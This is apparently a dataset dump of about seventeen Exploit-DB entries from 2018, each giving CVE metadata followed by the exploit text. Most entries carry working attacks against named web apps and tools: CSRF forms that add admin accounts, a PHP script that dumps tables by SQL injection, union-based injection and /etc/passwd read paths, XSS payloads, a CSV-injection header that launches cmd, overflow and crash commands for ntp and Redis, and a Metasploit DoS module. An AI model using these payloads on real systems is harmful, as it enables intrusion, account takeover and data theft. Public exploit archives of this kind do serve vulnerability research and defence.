QLWD/code_shield huggingface dataset:
标题: MaDDash 2.0.2 - Directory Listing EDB-ID: 44910 CVE: 2018-12525 2018-12524 2018-12523 2018-12522 类型: WEBAPPS 平台: JAVA 发布日期: 2018-06-20 漏洞利用脚本: # Exploit Title: MaDDash 2.0.2 - Directory Listing
# Date: 2018-06-18
# Vendor: perfSONAR
# Download Link: https://github.com/esnet/maddash/archive/master.zip
# Version: 2.0.2
# Exploit Author: ManhNho
# CVE: CVE-2018-12522,CVE-2018-12523,CVE-2018-12524,CVE-2018-12525
# Category: Webapps
# Tested on: Windows 7

--- Description ---
A directory listing is inappropriately exposed, yielding potentially
sensitive information to attackers.
A directory listing provides an attacker with the complete index of all the
resources located inside of the directory.
The specific risks and consequences vary depending on which files are
listed and accessible.

---Affected items---
http://127.0.0.1/maddash-webui/etc/
http://127.0.0.1/maddash-webui/lib/
http://127.0.0.1/maddash-webui/images/
http://127.0.0.1/maddash-webui/style/

---References---
https://pastebin.com/eA5tGKf0 URL: https://www.exploit-db.com/exploits/44910
标题: LFCMS 3.7.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 44919 CVE: 2018-12603 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-21 漏洞利用脚本: # Exploit Title: A CSRF vulnerability exists in LFCMS_3.7.0: administrator account can be added arbitrarily.
# Date: 2018-06-20
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203899.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12603


A CSRF vulnerability exists in LFCMS_3.7.0:  administrator account can be added arbitrarily.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Member/add.html" method="POST">
      <input type="hidden" name="username" value="admin2" />
      <input type="hidden" name="password" value="admin2" />
      <input type="hidden" name="repassword" value="admin2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44919
标题: ntp 4.2.8p11 - Local Buffer Overflow (PoC) EDB-ID: 44909 CVE: 2018-12327 类型: DOS 平台: LINUX 发布日期: 2018-06-20 漏洞利用脚本: # Exploit Title: ntpq and ntpdc 4.2.8p11 Local Buffer Overflow
# Date: 2018-06-06
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: http://www.ntp.org/
# Software Link: http://www.ntp.org/downloads.html
# Version: 4.2.8p11 and earlier
# Tested on: 4.2.8p11
# CVE : CVE-2018-12327

Stack-based buffer overflow in ntpq and ntpdc of NTP version 4.2.8p11 allows a local attacker to achieve code execution or escalate to higher privileges via a long string as the argument for an IPv4 or IPv6 command-line parameter.

$ ./ntpq -4 [`python -c 'print "A" * 300’`]

#0 0x562fcada86ce in openhost /home/user/ntp-4.2.8p11/ntpq/ntpq.c:655:12
#1 0x562fcada5f2a in ntpqmain /home/user/ntp-4.2.8p11/ntpq/ntpq.c:606:10
#2 0x562fcada4729 in main /home/user/ntp-4.2.8p11/ntpq/ntpq.c:469:9
#3 0x7f79b684982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x562fcac96d88 in _start (/home/user/ntp-4.2.8p11/ntpq/ntpq+0xacd88)

$ ./ntpdc -4 [`python -c 'print "A" * 300'`]

#0 0x55f726641efe in openhost /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:413:12
#1 0x55f7266400d4 in ntpdcmain /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:365:10
#2 0x55f72663f269 in main /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:255:9
#3 0x7f0fc632382f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x55f7265362d8 in _start (/home/user/ntp-4.2.8p11/ntpdc/ntpdc+0x9d2d8) URL: https://www.exploit-db.com/exploits/44909
标题: Microsoft COM for Windows - Privilege Escalation EDB-ID: 44906 CVE: 2018-0824 类型: LOCAL 平台: WINDOWS 发布日期: 2018-06-18 漏洞利用脚本: Writeup: https://codewhitesec.blogspot.com/2018/06/cve-2018-0624.html

In May 2018 Microsoft patched an interesting vulnerability (CVE-2018-0824) which was reported by Nicolas Joly of Microsoft's MSRC: 

A remote code execution vulnerability exists in "Microsoft COM for Windows" when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file that is designed to exploit the vulnerability. However, an attacker would have no way to force the user to visit the website. Instead, an attacker would have to convince the user to click a link, typically by way of an enticement in an email or Instant Messenger message, and then convince the user to open the specially crafted file. The security update addresses the vulnerability by correcting how "Microsoft COM for Windows" handles serialized objects.

The keywords "COM" and "serialized" pretty much jumped into my face when the advisory came out. Since I had already spent several months of research time on Microsoft COM last year I decided to look into it. Although the vulnerability can result in remote code execution, I'm only interested in the privilege escalation aspects. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44906.zip URL: https://www.exploit-db.com/exploits/44906
标题: Pale Moon Browser < 27.9.3 - Use After Free (PoC) EDB-ID: 44900 CVE: 2018-12292 类型: LOCAL 平台: WINDOWS 发布日期: 2018-06-18 漏洞利用脚本: # Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC) 
# Date: 2018-06-13
# Author - Berk Cem Goksel  
# Vendor Homepage: https://www.palemoon.org/ 
# Software Link: https://www.palemoon.org/palemoon-win32.shtml 
# Version:  Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)  
# Tested on: Windows 10 
# Category: Windows Remote Exploit 
# CVE : CVE-2018-12292 


<html>
<head>
<style>
</style>
<script>

function SetVariable(fuzzervars, var_name, var_type) { 
fuzzervars[var_type] = var_name;
 }

function jsfuzzer() {

var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList'); 

}


</script>
</head>
<body onload=jsfuzzer()>
<!-- beginhtml -->
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
<!-- endhtml -->
</body>
</html> URL: https://www.exploit-db.com/exploits/44900
标题: Redis 5.0 - Denial of Service EDB-ID: 44908 CVE: 2018-12453 类型: DOS 平台: LINUX 发布日期: 2018-06-20 漏洞利用脚本: # Exploit Title: Redis 5.0 Denial of Service
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0
# Fixed on: 5.0
# CVE : CVE-2018-12453

Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.


PoC:
$ ./src/redis-cli -p 1234
127.0.0.1:1234> set a 123
OK
127.0.0.1:1234> xgroup create a b $
Error: Connection reset by peer  <— segfault'ed
127.0.0.1:1234>

The bug also could be triggered via netcat
$ nc 127.0.0.1 1234
set a 123
+OK
xgroup create a b $  <— segfault’ed after this line


@@ -1576,7 +1576,7 @@ NULL
     /* Lookup the key now, this is common for all the subcommands but HELP. */
     if (c->argc >= 4) {
robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);
-         if (o == NULL) return;
+         if (o == NULL || checkType(c,o,OBJ_STREAM)) return;
         s = o->ptr;
         grpname = c->argv[3]->ptr;


  #0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45
  #1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5
  #2 0x7f65d736e38f  (/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f)
  #3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12
  #4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19
  #5 0x58ded7 in call /home/user/redis/src/server.c:2298:5
  #6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9
  #7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17
  #8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17
  #9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9
  #10 0x59da71 in main /home/user/redis/src/server.c:3992:5
  #11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
  #12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38) URL: https://www.exploit-db.com/exploits/44908
标题: Nikto 2.1.6 - CSV Injection EDB-ID: 44899 CVE: 2018-11652 类型: LOCAL 平台: LINUX 发布日期: 2018-06-18 漏洞利用脚本: # Exploit Title: Nikto 2.1.6 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-01 
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652
 
# Technical Description:
#  CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers 
# to inject arbitrary OS commands via the Server field in an HTTP response header, 
# which is directly injected into a CSV report.
 
# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    server_tokens off; # removed pound sign
    more_set_headers "Server: =cmd|' /C calc'!'A1'";

    server {
        listen 80;

        server_name localhost;

        location /hello {
            return 200 "hello world";
        }
    }
}

# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:

nikto -h <nginx address>:80 -o vuln.csv

# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting 
# to execute URL: https://www.exploit-db.com/exploits/44899
标题: Redis-cli < 5.0 - Buffer Overflow (PoC) EDB-ID: 44904 CVE: 2018-12326 类型: LOCAL 平台: LINUX 发布日期: 2018-06-18 漏洞利用脚本: # Exploit Title: Redis-cli < 5.0 - Buffer Overflow (PoC)
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0, 4.0, 3.2
# Fixed on: 5.0, 4.0, 3.2
# CVE : CVE-2018-12326

# Buffer overflow in redis-cli of Redis version 3.2, 4.0, and 5.0 allows a local attacker
# to achieve code execution and escalate to higher privileges via a long string in the hostname parameter.

$ ./src/redis-cli -h `python -c 'print "A" * 300'`
Could not connect to Redis at AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:6379: Name or service not known

#0 0x4a4182 in vsnprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1566
#1 0x4a42d0 in snprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1637
#2 0x570159 in repl /home/user/redis/src/redis-cli.c:1624:5
#3 0x55ba77 in main /home/user/redis/src/redis-cli.c:6660:9
#4 0x7f6be5f6e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#5 0x4247a8 in _start (/home/user/redis/src/redis-cli+0x4247a8) URL: https://www.exploit-db.com/exploits/44904
标题: Joomla! Component Ek Rishta 2.10 - SQL Injection EDB-ID: 44893 CVE: 2018-12254 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-14 漏洞利用脚本: # Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
# Date: 2018-06-14
# Exploit Author: Guilherme Assmann
# Vendor Homepage:https://www.joomla.org/
# Version: 2.10
# Tested on: MacOSX, Safari, Chrome
# Download: https://extensions.joomla.org/extension/ek-rishta/
# CVE: CVE-2018-12254

# Vulnerability Description
# To exploit this vulnerability, the user must be logged on to the platform!
# the vulnerability allows SQL Injection via the
# PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
# more information(en): 
# https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
# more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
# more information: https://desecsecurity.com/
# exploit code to dump tables:

<?php

// CVE-2018-12254

// after dump the tables, use %60%23table_name%60 to dump columns...

$host = $argv[1];
$cookie = $argv[2];

// Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
function exploit($host,$ck){
$urls = sqli();
$ch = curl_init();
foreach($urls as $url){
curl_setopt($ch,CURLOPT_URL,$host.$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,":)");
curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
$response = curl_exec($ch);
$s =  strpos($response,"#__");
echo substr($response,$s,30)."\n";
}
}
function sqli(){
$uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
for($i=0;$i<100;$i++){
$value = $i+1;
$data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
}
return $data;
}
exploit($host,$cookie);
?> URL: https://www.exploit-db.com/exploits/44893
标题: OEcms 3.1 - Cross-Site Scripting EDB-ID: 44895 CVE: 2018-12095 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-15 漏洞利用脚本: # Title: OEcms 3.1 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-06-15
# Software: OEcms v3.1
# CVE: CVE-2018-12095
 
# Technical Details & Description:
# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "OEcms v3.1" web-application.
# The vulnerability is located in the 'mod' parameter of the`info.php` action GET method request.
 
# PoC
 
http://Target/cms/info.php?mod=list"</|\><plaintext/onmouseover=prompt(/XSS/)> URL: https://www.exploit-db.com/exploits/44895
标题: Dimofinf CMS 3.0.0 - Cross-Site Scripting EDB-ID: 44897 CVE: 2018-12094 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-15 漏洞利用脚本: # Title: Dimofinf CMS 3.0.0 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-06-13
# Software: Dimofinf CMS Version 3.0.0
# CVE: CVE-2018-12094

# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "Dimofinf CMS" web-application.
# The vulnerability is located in the 'id' parameter of the`news.php` action GET method request.
 
# PoC
http://Target/news.php?id=604""</|\><plaintext/onmouseover=prompt(/XSS/)> URL: https://www.exploit-db.com/exploits/44897
标题: RSLinx Classic and FactoryTalk Linx Gateway - Privilege Escalation EDB-ID: 44892 CVE: 2018-10619 类型: LOCAL 平台: WINDOWS 发布日期: 2018-06-13 漏洞利用脚本: # Title: RSLinx Classic and FactoryTalk Linx Gateway - Privilege Escalation
# Date: 2017-12-11
# Author: LiquidWorm
# Vendor: Rockwell Automation, Inc.
# Product web page: https://www.rockwellautomation.com
# Affected version: Rockwell Automation RSLinx Classic 3.90.01
#                 Rockwell Automation RSLinx Classic 3.73.00
#                 Rockwell Automation RSLinx Classic 3.72.00
#                 Rockwell Automation RSLinx Classic 2.58.00
#                 Rockwell Automation FactoryTalk Linx Gateway 3.90.00
# CVE: CVE-2018-10619
# Tested on: Microsoft Windows 7 Professional SP1 (EN)

# Summary: 
# The FactoryTalk Linx Gateway adds a Classic OPC DA and OPC UA server
# interface to deliver information collected by FactoryTalk Linx from Logix5000™
# and other Allen-Bradley® controllers to external OPC clients, permitting
# third-party software to coexist with FactoryTalk® software.

# PoC: 
The application suffers from an unquoted search path issue impacting
the service 'dnwhodisp' for Windows deployed as part of RSLinx and FactoryTalk.
This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system. 

A successful attempt would require the local user to be able to insert their 
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot. If
successful, the local user's code would execute with the elevated privileges
of the application.

C:\>sc qc dnwhodisp
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: dnwhodisp
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Rockwell Software\RSLINX\dnwhodisp.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : dnWhoDisp
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem URL: https://www.exploit-db.com/exploits/44892
标题: Schools Alert Management Script - Arbitrary File Read EDB-ID: 44874 CVE: 2018-12054 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-11 漏洞利用脚本: # Exploit Title: Schools Alert Management Script - Arbitrary File Read
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/4
# Tested on: Linux Mint
# CVE: CVE-2018-12054

# Proof of Concept：

/img.php?f=/./etc/./passwd URL: https://www.exploit-db.com/exploits/44874
标题: MACCMS 10 - Cross-Site Request Forgery (Add User) EDB-ID: 44887 CVE: 2018-12114 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-13 漏洞利用脚本: # Exploit Title: MACCMS_V10 CSRF vulnerability add admin account
# Date: 2018-06-11 
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9168309.html
# Software Link: http://www.maccms.com/down.html
# Version: V10
# CVE : CVE-2018-12114


I found a CSRF vulnerability in maccms_v10,this vulnerability can be arbitrarily added to users.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/maccms10/admin.php/admin/admin/info.html" method="POST">
      <input type="hidden" name="admin_id" value="" />
      <input type="hidden" name="admin_name" value="test2" />
      <input type="hidden" name="admin_pwd" value="test2" />
      <input type="hidden" name="admin_status" value="1" />
      <input type="hidden" name="admin_auth[0]" value="index/welcome" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/44887
标题: Schools Alert Management Script - 'get_sec.php' SQL Injection EDB-ID: 44873 CVE: 2018-12052 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-11 漏洞利用脚本: # Exploit Title: Schools Alert Management Script - 'get_sec.php' SQL Injection
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/3
# Tested on: Linux Mint
# CVE: CVE-2018-12052

# Proof of Concept：

/get_sec.php?q=1'+/*!50000union*/+select+1,/*!50000concat*/(user(),0x7e7e,database(),0x7e7e,@@version)%23 URL: https://www.exploit-db.com/exploits/44873
标题: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' Denial of Service (Metasploit) EDB-ID: 44876 CVE: 2018-11646 类型: DOS 平台: LINUX 发布日期: 2018-06-11 漏洞利用脚本: ##
# Title: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS
# Author: Dhiraj Mishra
# Date: 2018-06-11
# CVE: 2018-11646
#
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "WebKitGTK+ WebKitFaviconDatabase DoS",
        'Description'    => %q(
          This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
          If successful, it could lead to application crash, resulting in denial of service.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra', # Original discovery, disclosure
          'Hardik Mehta',  # Original discovery, disclosure
          'Zubin Devnani', # Original discovery, disclosure
          'Manuel Caballero' #JS Code
        ],
        'References' => [
          ['EDB', '44842'],
          ['CVE', '2018-11646'],
          ['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
          ['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
        ],
        'DisclosureDate' => 'Jun 03 2018',
        'Actions'        => [[ 'WebServer' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = <<-JS
<script type="text/javascript">
 win = window.open("WIN", "WIN");
 window.open("http://example.com/", "WIN");
 win.document.execCommand('stop');
 win.document.write("HelloWorld");
 win.document.close();
</script>
    JS
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end URL: https://www.exploit-db.com/exploits/44876
标题: Canon PrintMe EFI - Cross-Site Scripting EDB-ID: 44882 CVE: 2018-12111 类型: WEBAPPS 平台: PHP 发布日期: 2018-06-12 漏洞利用脚本: # Title: Canon PrintMe EFI - Cross-Site Scripting  
# Date: 9.6.2018-06-09  
# Exploit Author: Huy Kha 
# Vendor Homepage: [https://www.efi.com/]  
# Version: Canon PrintMe EFI 
# Tested on: Mozilla FireFox 
# CVE: CVE-2018-12111
# XSS Payload used: '"--!><img src=x onerror=alert("XSS")>
 
# PoC
 
GET /wt3/mydocs.php/'%22--!%3E%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E HTTP/1.1
Host: 129.25.8.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a11b2588fe327f6bd1acf79f286c2dcd
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/44882